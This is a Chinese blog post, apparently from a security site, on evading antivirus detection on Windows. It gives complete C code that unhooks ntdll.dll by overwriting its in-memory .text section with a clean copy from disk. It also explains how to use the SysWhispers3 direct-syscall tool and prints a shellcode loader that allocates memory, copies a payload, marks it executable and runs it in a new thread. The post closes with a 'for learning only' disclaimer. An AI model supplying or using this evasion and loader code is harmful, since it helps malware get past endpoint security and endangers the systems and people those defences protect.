脱钩实现免杀

2024-03-19 1,041 0

前言

正常情况下,杀毒软件会在用户模式下的API设置钩子,用于检测用户层的行为。这里我们用x64dbg查看ntdll.dll的导出函数即可得知。

当杀软未进行hook时的NtcreateProcess函数:

脱钩实现免杀插图

可以看出系统调用号是:B4

当其被hook后,可以看到jmp指令

脱钩实现免杀插图1

因此,当我们想规避杀软的检测行为时,是否可以考虑将杀软的钩子脱钩?或者使用直接系统调用的方式?针对这两个问题,有以下的解决办法:

0x01 替换干净的Ntdll.dll

先将代码附上:

DWORD UNHOOKntdll()
{
    MODULEINFO mi = {};
    HMODULE ntdllModule = GetModuleHandleA("ntdll.dll");

    GetModuleInformation(HANDLE(-1), ntdllModule, &mi, sizeof(mi));
    LPVOID ntdllBase = (LPVOID)mi.lpBaseOfDll;
    HANDLE ntdllFile = CreateFileA("c:\\windows\\system32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
    HANDLE ntdllMapping = CreateFileMapping(ntdllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
    LPVOID ntdllMappingAddress = MapViewOfFile(ntdllMapping, FILE_MAP_READ, 0, 0, 0);

    PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdllBase;
    PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + hookedDosHeader->e_lfanew);

    for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++)
    {
        PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));

        if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text"))
        {
            DWORD oldProtection = 0;
            bool isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection);
            memcpy((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize);
            isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection);
        }
    }

    CloseHandle(ntdllFile);
    CloseHandle(ntdllMapping);
    FreeLibrary(ntdllModule);

    return 0;
}

流程如下:

  1. 获取 ntdll.dll的模块句柄和信息,包括它在内存中的基地址。

  2. 以只读方式打开 c:\\windows\\system32\\ntdll.dll文件,并创建一个文件映射。然后,将这个文件映射到内存中。

  3. 获取 ntdll.dll在内存中的 DOS 和 NT 头部信息。

  4. 遍历 ntdll.dll的所有节(section)。如果发现了名为 .text的节,这个节通常包含了 DLL 的代码,那么就需要解除对它的钩子。

  5. 使用 VirtualProtect函数修改 .text节的内存保护属性,使其可以读写执行。

  6. 使用 memcpy函数将原始的 ntdll.dll文件中的 .text节复制到内存中的 ntdll.dll的对应位置,从而覆盖可能被修改的代码。

  7. 再次使用 VirtualProtect函数恢复 .text节的内存保护属性。

  8. 关闭文件句柄和文件映射,释放模块。

该方法通过将已钩住的ntdll.dll进行解除,使得杀软无法检测用户的行为。

0x02 SysWhispers3工具

工具地址:klezVirus/SysWhispers3: SysWhispers on Steroids - AV/EDR evasion via direct system calls. (github.com)

我们利用Syswhispers,就不用自己去找系统调用号了,可以直接实现系统调用

相比于2的版本,syswhispers3使用了新的 EGG 手法,先用垃圾指令代替 syscall,在运行时再从内存中找出来替换 syscall。

使用方法:

例:导出NtProtectVirtualMemory和NtWriteVirtualMemory函数:

py .\syswhispers.py --functions NtProtectVirtualMemory,NtWriteVirtualMemory -o syscalls_mem

具体详细使用方式可参考官方项目文档

运行后会在脚本目录生成Header/ASM/C文件

脱钩实现免杀插图2

导入VS

  • 将生成的H/C/ASM文件拷贝到项目目录中;

  • 在Visual Studio中,点击“Project->Build Customizations...”,然后启用MASM;

  • 在“Solution Exlorer”中,将.h和.c/.asm文件分别以Header和源文件的形式添加到项目中;

  • 点击ASM文件的属性,将“Item Type”设置为“Microsoft Macro Assembler”;

需要注意的是,该工具目前只支持x64位。

以一个最简单的loader来演示:

#include "syscall.h"
#include <Windows.h>
#include<stdio.h>
unsigned char calc_payload[] =""

unsigned int calc_len = 1;

int main()
{
    DWORD oldprotect = 0;
    HANDLE hProc = GetCurrentProcess();
    LPVOID base_addr = NULL;
    HANDLE thandle = NULL;

    NTSTATUS NTAVM = NtAllocateVirtualMemory(
        hProc, 
        &base_addr, 
        0, 
        (PSIZE_T)&calc_len, 
        MEM_COMMIT | MEM_RESERVE, 
        PAGE_READWRITE);
    RtlMoveMemory(base_addr, calc_payload, calc_len);
    NTSTATUS NTPVM = NtProtectVirtualMemory(
        hProc, 
        &base_addr, 
        (PSIZE_T)&calc_len, 
        PAGE_EXECUTE_READ, 
        &oldprotect); 

    NTSTATUS ct = NtCreateThreadEx(&thandle, GENERIC_EXECUTE, NULL, hProc, base_addr, NULL, FALSE, 0, 0, 0, NULL);

    free(base_addr);
    return 1;
}

这里我们可以直接使用系统级的函数,在此基础之上,可以将一些常规的免杀方法做进一步的提升,效果会更加不错。

最后声明,此文章仅用于学习与思考。


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

webpack打包站点,js文件名批量获取思路
加密对抗靶场enctypt——labs通关
【论文速读】| 注意力是实现基于大语言模型的代码漏洞定位的关键
蓝队技术——Sysmon识别检测宏病毒
内网渗透学习|powershell上线cs
LLM attack中的API调用安全问题及靶场实践

发布评论